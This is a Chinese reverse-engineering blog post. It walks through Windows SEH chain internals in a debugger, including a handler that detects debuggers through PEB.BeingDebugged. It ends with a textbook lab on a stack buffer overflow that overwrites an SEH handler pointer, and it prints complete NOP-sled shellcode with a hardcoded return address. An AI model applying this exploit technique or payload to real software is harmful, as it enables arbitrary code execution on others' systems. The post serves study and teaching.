dustland

dustball in dustland

SEH

SEH

windows异常处理程序,存储在栈中

SEH链

SEH链实际上就是一个链表,其基本单位是一个个的节点

每个节点都是由一个后向指针(指针域)和一个函数指针(值域)组成

1
2
3
4
typedef struct _EXCEPTION_REGISTRATION_RECORD {
struct _EXCEPTION_REGISTRATION_RECORD *Next;//指向下一个节点
PEXCEPTION_ROUTINE Handler;//指向函数
} EXCEPTION_REGISTRATION_RECORD;

Next不必多说,Handler是一个有固定格式的函数,其函数接口长这样

1
2
3
4
5
6
EXCEPTION_DISPOSITION myHandler(//返回值为枚举类型,表明本函数处理结束后程序的走向
EXCEPTION_RECORD *pRecord,
EXCEPTION_REGISTRATION_RECORD *pFrame,
PCONTEXT Context,//线程上下文,包括各种寄存器值
PVOID pValue,
);

这四个参数会由OS传给异常处理函数

1
2
3
4
5
6
7
8
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode;//异常编号
DWORD ExceptionFlags;//异常标志
struct _EXCEPTION_RECORD *ExceptionRecord;//
PVOID ExceptionAddress;//异常发生地址
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

返回值是一个枚举类型,在excpt.h中可以找到其定义

1
2
3
4
5
6
7
8
// Exception disposition return values
typedef enum _EXCEPTION_DISPOSITION
{
ExceptionContinueExecution,//继续执行异常代码
ExceptionContinueSearch,//执行seh链上下一个异常处理
ExceptionNestedException,//OS内部使用
ExceptionCollidedUnwind//OS内部使用
} EXCEPTION_DISPOSITION;

SEH链画在图上相当于

image-20220924093920177

最后一个节点的next指向FFFFFFFF,即-1,表明SEH链结束

访问进程SEH链

TEB+0x00存放的是NtTib结构体基地址

这个NtTib长啥样呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct _NT_TIB {
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;//seh链表头
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
#if defined(_MSC_EXTENSIONS)
union {
PVOID FiberData;
DWORD Version;
};
#else
PVOID FiberData;
#endif
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self;
} NT_TIB;
typedef NT_TIB *PNT_TIB;

NtTib在TEB的0偏移位置,ExceptionList在NtTib的偏移位置,FS段选择子指向TEB描述符,因此

FS:[0]=TEB=TEB.NtTib=TEB.NtTib.ExceptionList

如此就可以访问SEH链表了,这里ExceptionList相当于一个附加头节点

image-20220924100243035

安装SEH节点

c语言中使用__try,__except,__finally关键字

汇编语言中只需要将SEH节点头插进入SEH节点就可以了

1
2
3
PUSH &myHandler	;seh节点的函数地址压栈
PUSH DWORD PTR FS:[0] ;seh节点的后向指针压栈,头插法采用原来的头
MOV DWORD PTR FS:[0],ESP ;当前节点正好位于栈顶,将其地址放到ExceptionList上覆盖原来的头节点

当前节点成为SEH链的第一个节点

调试观察SEH工作流程

main之前建立的seh链

用ida打开seh.exe观察

使用od动态调试seh.exe,让程序先运行到main函数0x401000处

od已经识别出main一开始干了啥了

image-20220924101626865

在头插之前,先看一下原来的第一个seh节点

此时fs:[00000000]=[00386000]=0019FF64,去栈中0x19FF64看看

image-20220924101716815

下一个seh节点在0x19FFCC位置,本seh节点的异常处理函数在0x402730,用ida观察这个位置

image-20220924101908760

这个函数很大,看地址是在用户空间的,不是DLL中的也不是内核中的,那么它是啥时候注册的呢?

1
2
3
4
5
start()
___tmainCRTStartup()
__cinit()
__IsNonwritableInCurrentImage()
main()

在main之前___tmainCRTStartup会首先调用__cinit进行注册,然后才会调用main

也就是说,这是运行库注册的

注册新的seh节点

注意此时只是注册,其中的异常处理函数也是一个回调函数,不会立刻执行,需要确实发现异常的时候才会执行

image-20220924100616558

main函数首先插入了一个seh节点,其异常处理函数在0x40105A处,这个函数干了啥呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0040105A loc_40105A:                             ; DATA XREF: _main↑o
.text:0040105A mov esi, [esp+0Ch];esi指向栈中0x19f470
.text:0040105E mov eax, large fs:30h;PEB地址
.text:00401064 cmp byte ptr [eax+2], 1;检查是否BeingDebugged
.text:00401068 jnz short loc_401076;如果不是则跳转0x4001076,否则顺序执行
.text:0040106A mov dword ptr [esi+0B8h], offset loc_401023;将0x401023写到esi+0xB8h的地方
.text:00401074 jmp short loc_401080;跳转函数尾声
.text:00401076 ; ---------------------------------------------------------------------------
.text:00401076
.text:00401076 loc_401076: ; CODE XREF: .text:00401068↑j
.text:00401076 mov dword ptr [esi+0B8h], offset loc_401039
.text:00401080
.text:00401080 loc_401080: ; CODE XREF: .text:00401074↑j
.text:00401080 xor eax, eax
.text:00401082 retn;返回了

这个函数检查了当前是否处于调试状态,根据该状态将不同的函数地址,写到esi+0xB8h指向的地方

这是个什么地方呢?Context.Eip,干啥用的呢?留作后话

当我们的seh节点注册完毕之后

1
2
esp=0019FF28
fs:[00000000]=[00386000]=0019FF28

此时ExceptionList已经指向0x19FF28了,栈中观察这个位置

image-20220924105650611

后向指针也已经指向了刚才的0x40105A节点.现在的SEH链长这样

1
2
3
4
5
6
ExceptionList@0x386000->
myNode@0x19FF28->
CRTNode@0x19FF64->
ntdllNode1@0x19FFCC->
ntdllNode2@0x19FFE4->
-1

如果发生异常,首先会调用这个链最头上的myNode@0x19FF28中的异常处理函数

od已经自动识别出seh链长啥样了,od->查看->seh链

image-20220924110529629

引发异常

在注册完我们的seh节点之后,有两句故意找茬的指令,按理说c语言是敲不出这种指令的,实际上是用内联汇编写的

1
2
.text:00401017 xor     eax, eax
.text:00401019 mov dword ptr [eax], 1

把1写到0x0位置,显然往未注册过的内存写东西会寄,触发EXCEPTION_ACCESS_VIOLATION(0xc0000005)异常

执行异常处理函数

触发异常之后,程序会跳转到第一个seh节点中注册的异常处理函数,期间经过了很多库函数调用,导致栈顶移动了很远的距离

从0x19FF28到0x19F320一共0xc08个字节

此时控制已经转移到myHandler@0x40105A,这就是main函数一开始注册的seh节点中的异常处理函数

image-20220924112137415

此时栈帧的情况

image-20220924112208795

myHandler@0x40105A的返回地址是NTDLL库函数

返回地址往上的4个双字就是myHandler的参数了

1
2
3
4
5
6
EXCEPTION_DISPOSITION myHandler(//返回值为枚举类型,表明本函数处理结束后程序的走向
EXCEPTION_RECORD *pRecord,
EXCEPTION_REGISTRATION_RECORD *pFrame,
PCONTEXT Context,//线程上下文,包括各种寄存器值
PVOID pValue,//系统内部使用,忽略
);
参数 参数地址 参数指向
pRecord 0x19F324 0x19F420
pFrame 0x19F328 0x19FF28
Context 0x19F32C 0x19F470
pValue 0x19F330 0x19F3AC

参数指向的地址都在栈中,看来抬栈0xc08个字节其中的作用就有准备参数

Record@0x19F420

Record@0x19F420长这样

1
2
3
4
5
6
7
8
typedef struct _EXCEPTION_RECORD {//0x50个字节
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;
image-20220924113817007
偏移 成员 意义
0 ExceptionCode 0xC0000005 访问非法内存
0x4 ExceptionFlags 0
0x8 ExceptionRecord 0
0xC ExceptionAddress 0x401019 .text:00401019 mov dword ptr [eax], 1
0x10 NumberParameters 2
0x14 ExceptionInformation[0] 1
0x15-0x69 ExceptionInformation[1-..] 0

Frame@0x19FF28

1
2
3
4
typedef struct _EXCEPTION_REGISTRATION_RECORD {//8字节
struct _EXCEPTION_REGISTRATION_RECORD *Next;
PEXCEPTION_ROUTINE Handler;
} EXCEPTION_REGISTRATION_RECORD;
image-20220924122503631

Context@0x19F470

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
typedef struct DECLSPEC_NOINITALL _CONTEXT {//0x2cc个字节
DWORD ContextFlags;

DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;

FLOATING_SAVE_AREA FloatSave;

DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;

DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;

DWORD Ebp;
DWORD Eip; //offset=0xB8
DWORD SegCs; // MUST BE SANITIZED
DWORD EFlags; // MUST BE SANITIZED
DWORD Esp;
DWORD SegSs;//C8

BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];

} CONTEXT;

typedef CONTEXT *PCONTEXT;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ ==>    0019F470   |0001007F
$+4 0019F474 |004011C2 返回到 seh.004011C2 来自 seh.00401000
$+8 0019F478 |00000000
$+C 0019F47C |00000000
$+10 0019F480 |00000000
$+14 0019F484 |FFFF0FF0
$+18 0019F488 |00000100
省略浮点数寄存器
$+88 0019F4F8 |00000000 ;segGS
$+8C 0019F4FC |0000002B
$+90 0019F500 |00000053 ;FS
$+94 0019F504 |0000002B ;ES
$+98 0019F508 |0000002B ;DS

$+9C 0019F50C |00401219 ;EDI seh.<ModuleEntryPoint>
$+A0 0019F510 |00401219 ;ESI seh.<ModuleEntryPoint>
$+A4 0019F514 |002CF000 ;Ebx
$+A8 0019F518 |005BF5B8 ;Edx
$+AC 0019F51C |00000001 ;Ecx
$+B0 0019F520 |00000000 ;Eax

$+B4 0019F524 |0019FF74 ;EBP
$+B8 0019F528 |00401019 ;Eip seh.00401019
$+BC 0019F52C |00000023 ;CS
$+C0 0019F530 |00010246 ;Eflags
$+C4 0019F534 |0019FF28 ;Esp
$+C8 0019F538 |0000002B ;segSS

...

其中eip指向0x401019,这还是发生内存异常的那条指令

1
.text:00401019 mov     dword ptr [eax], 1

myHandler@0x40105A

分析完了函数以及返回地址,现在将焦点放到该异常处理函数身上

此时的堆栈

1
2
3
4
5
0019F320   77B08BF2  返回到 ntdll.77B08BF2	;返回地址
0019F324 0019F420 ;第一个参数,pRecord
0019F328 0019FF28 ;第二个参数,pFrame
0019F32C 0019F470 ;第三个参数,pContext
0019F330 0019F3AC UNICODE "48";第四个参数,pValue
把context放到esi上

第一条指令

image-20220924151509557

esp+0xC此时指向第三个参数,即pContext

image-20220924151452776

这里解引用了一下,就把Context的基地址放到esi上了

将PEB放到eax上

fs选择子指向TEB的描述符,TEB+0x30指向PEB

image-20220924151603919

将TEB的基地址放到了eax上

检测是否beingdebugged

第三条指令,取了PEB+0x2的一个字节的值,和1进行比较,

image-20220924152038006

PEB+0x2存放的就是BeingDebugged,如果正在被调试,一般该值会置1,

如果该值为1则和1的差就是0,ZF就置1

否则如果该值为0则和1的差不为0,ZF置0

jnz 0x00401076

实际调试的时候,刚才的计算结果不为0,即ZF=1,jnz跳转

说也奇怪,使用od调试运行的,为啥这里没有检测出调试器呢?

od调试运行时不会检测出调试器,但是x32dbg调试运行就会检测出调试器

image-20220924152418482
修改context.Eip

本函数一开始就将context的基地址放到了esi上,现在将0x401039放到[esi+0xB8]这个地方,也就是context+0xB8=Eip

这意味着,本seh节点的异常处理函数,将context上下文中的eip,根据当前是否被调试,从事故现场,改到了其他没有事故的函数中.这也就是该seh节点的异常处理策略

当本次异常处理结束之后,控制将会交给0x401039

0x401039处的函数干了啥呢?

1
2
3
4
5
6
7
8
9
10
11
12
.text:00401039 loc_401039:                             ; DATA XREF: .text:loc_401076↓o
.text:00401039 push 0 ; uType
.text:0040103B push offset Caption ; "ReverseCore"
.text:00401040 push offset aHello ; "Hello :)"
.text:00401045 push 0 ; hWnd
.text:00401047 call ds:MessageBoxA
.text:0040104D
.text:0040104D loc_40104D: ; CODE XREF: _main+37↑j
.text:0040104D pop large dword ptr fs:0
.text:00401054 add esp, 4
.text:00401057 retn
.text:00401057 _main endp

首先弹窗

image-20220924153224967

然后指令pop large dword ptr fs:0就把这个第一个seh节点给扬了,留作后话

返回
image-20220924152852356

在修改完context.Eip之后,函数尾声将eax置就返回了

删除seh节点

由于异常处理函数中将context.eip改成了0x401039,在该函数上下断点,然后Ctrl+F8自动步过,直到执行到断点位置

image-20220924153704246

这里会首先弹窗

image-20220924153224967

然后

image-20220924154538315

这条指令干了啥呢?

fs:0先前分析过,指向的是seh链的附加头节点,现在将栈顶弹给seh链的附加头节点,栈顶是谁呢?

image-20220924154743820

指向下一个SEH记录的指针,将这个指针的值,即下一个seh节点的地址,放到seh链的附加头节点ExceptionList上,恰好就把main一开始注册的seh节点扬了

为啥这么巧栈顶此时就是下一个seh节点的指针呢?

因为堆栈平衡.0x401039是在main函数中的,当控制转移到0x401039时相当于在main中执行,此时的栈顶就是main刚注册完seh节点的状态

返回到___tmainCRTStartup

0x401039函数retn之前,栈顶上存放的是0x4011C2,将要作为返回地址了

image-20220924155304450
image-20220924155235397

这是要返回到哪里去呢?

1
2
3
4
5
6
7
8
.text:004011AB                 mov     dword_40AF88, eax
.text:004011B0 push eax ; envp
.text:004011B1 push argv ; argv
.text:004011B7 push argc ; argc
.text:004011BD call _main ; 异常处理函数地址压栈
.text:004011C2 add esp, 0Ch
.text:004011C5 mov [ebp+var_20], eax
.text:004011C8 cmp [ebp+var_1C], 0

一眼顶针,原来是返回到___tmainCRTStartup

栈溢出修改seh函数指针

SEH节点都是在栈帧中的,缓冲区溢出可以修改SEH节点中的异常处理函数地址,改成shellcode

书上给出的有漏洞的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <windows.h>
#include <stdio.h>
#include <string>
#include <stdlib.h>
char shellcode[] =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

DWORD MyExceptionhandler(void)
{
printf("got an exception, press Enter to kill process!\n");
getchar();
ExitProcess(1);
return 0;
}
void test(char *input)
{
char buf[200];
int zero = 0;
__asm int 3
_try
{
strcpy(buf, input); // overrun the stack
zero = 4 / zero; // generate an exception
}
_except(MyExceptionhandler()) {}
}
main()
{
test(shellcode);
}

在windows 2000上直接运行,由于test函数中有一个int 3中断,程序会在此报错然后启动调试

image-20220924200524109

在int 3之前,0x40106B到0x40107C位置已经注册过seh节点

怎么注册的?

将原来的附加头节点中存储的第一个seh节点的地址作为当前节点的后继指针值,当前节点的异常处理函数注册为0x401518

image-20220924201147624

奇怪的是,这个0x401518也是原来的第一个seh节点的注册异常处理函数

image-20220924201233090

两个seh节点指向了同一异常处理函数

在栈帧视图上

image-20220924201413301

新注册的seh节点的异常处理函数指针在EBP-0xC位置

下面要调用strcpy函数了

image-20220924201631140

首先将ebp+8位置的源串指针压栈作为strcpy的第二个参数

然后将ebp-0xe0位置的目标缓冲区压栈作为第一个参数

然后调用strcpy@0x401330,调用完后栈帧的状态

image-20220924201848804

缓冲区已经顶到了ebp-0x18,[ebp-0x18]正好是'\0'

再输入12个字节的填充就到了seh节点异常处理函数指针的家门口了,然后往这里写入四个字节的shellcode的地址

因此这个缓冲区可以写212字节的填充+3字节的shellcode地址,剩下一个字节正好是'\0'填到地址的高位

下面就是shellcode的构造了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
char shellcode[]= 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x94\xFE\x12";

前面的字节都填充成0x90即nop指令,一是为了充当pad,二是为了增加命中率,只要是控制调到这些nop指令中,就会顺序执行到shellcode

最后三个字节是0x12FE94,而shellcode的基地址就是0x12FE94,也就是说将shellcode的基地址溢出到了seh节点中的异常处理函数指针上了,

就算是写0x12FE95,0x12FE96等等也都可以,nop已经把靶阔的很大了

然后除以0异常,而刚才被溢出的seh节点又恰好在seh链上首当其冲

因此shellcode就被当作异常处理函数调用了

image-20220924210055100